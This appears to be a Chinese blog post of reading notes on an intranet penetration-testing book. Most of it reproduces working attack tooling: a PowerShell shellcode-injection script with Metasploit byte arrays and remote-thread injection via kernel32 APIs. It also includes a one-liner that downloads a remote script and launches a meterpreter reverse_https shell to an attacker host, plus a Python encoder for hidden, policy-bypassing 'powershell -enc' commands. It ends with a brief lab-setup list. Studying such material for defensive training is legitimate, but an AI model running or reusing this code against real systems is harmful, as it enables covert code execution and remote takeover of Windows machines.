@(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)# 64-bit payload# msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread[Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)}if ( $PSBoundParameters['ProcessID'] ){# Inject shellcode into the specified process ID$OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])$OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)$WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory$WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool])$WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate)$CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread$CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate)$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)Write-Verbose "Injecting shellcode into PID: $ProcessId"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ){Inject-RemoteShellcode $ProcessId}}else{# Inject shellcode into the currently running PowerShell process$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)$VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree$VirtualFreeDelegate = Get-DelegateType @([IntPtr], [Uint32], [UInt32]) ([Bool])$VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate)$CreateThreadAddr = Get-ProcAddress kernel32.dll CreateThread$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)Write-Verbose "Injecting shellcode into PowerShell"if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',"Injecting shellcode into the running PowerShell process!" ) ){Inject-LocalShellcode}} }(5)使用Base64編碼對Powershell命令進行編碼
先將ps1保存為文本文件
ech○ "IEX(New-Object Net.WebClient).DownloadString("http://www.baidu.com/xxx.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.xxx.xxx -Lport 80 -Force" >script.txt使用ps_encoder.py腳本加密:
chmod +x ps_encoder.py ./ps_encoder.py -s script.txt然后可以利用base64編碼內容進行命令執行:
Poweshell.exe -NoP -NonI -W Hidden -Exec Bypass -enc [base64編碼內容]ps_encoder.py腳本如下:
#!/usr/bin/env python # -*- coding: utf-8 -*-# PSEncoder # This version is a modification of darkoperator's ps_encoder.py https://github.com/darkoperator/powershell_scripts/blob/master/ps_encoder.py made by Carlos Perez# # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; Applies version 2 of the License. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USAimport base64 import sys import re import os import getoptdef powershell_encode(data):# blank command will store our fixed unicode variableblank_command = ""powershell_command = ""# Remove weird chars that could have been added by ISEn = re.compile(u'(\xef|\xbb|\xbf)')# loop through each character and insert null bytefor char in (n.sub("", data)):# insert the nullbyteblank_command += char + "\x00"# assign powershell command as the new onepowershell_command = blank_command# base64 encode the powershell commandpowershell_command = base64.b64encode(powershell_command)return powershell_commanddef usage():print("Usage: {0} <options>\n".format(sys.argv[0]))print("Enters interactive mode if no options provided.")print("Options:")print(" -h, --help Show this help message and exit")print(" -s, --script <script> PowerShell Script.")sys.exit(0)def main():try:options, args = getopt.getopt(sys.argv[1:], 'hs:', ['help', 'script'])except getopt.GetoptError:print "Wrong Option Provided!"usage()if len(sys.argv) == 2:usage()for opt, arg in options:if opt in ('-h', '--help'):usage()elif opt in ('-s', '--script'): script_file = argif not os.path.isfile(script_file):print "The specified powershell script does not exists"sys.exit(1)else:ps_script = open(script_file, 'r').read()print "powershell -encodedCommand",powershell_encode(ps_script)exit()else:while 1:try:ps_script = raw_input("ps_encoder$ ")# print(powershell_encode(ps_script))print "powershell -encodedCommand",powershell_encode(ps_script)except KeyboardInterrupt:exit("\nUser interrupt.")if __name__ == "__main__":main()三、搭建內網環境
安裝Windows Server 2012 R2、Windows7和Windows Server 2008 R2操作系統搭建Windows域環境
- Windows Server 2012 R2: 192.168.1.1
- Windows Server 2008 R2: 192.168.1.2
- Wlndows7: 192.168.1.3
結語
第一章主要是些基礎知識和概念
然后裝了下環境
放一個powershell的學習網站:https://www.pstips.net/powershell-online-tutorials
總結
以上是生活随笔為你收集整理的《内网安全攻防:渗透测试实战指南》读书笔记(一):内网渗透测试基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: OpenCvSharp 学习笔记6 --
- 下一篇: Tomcat 执行一段时间之后服务突然关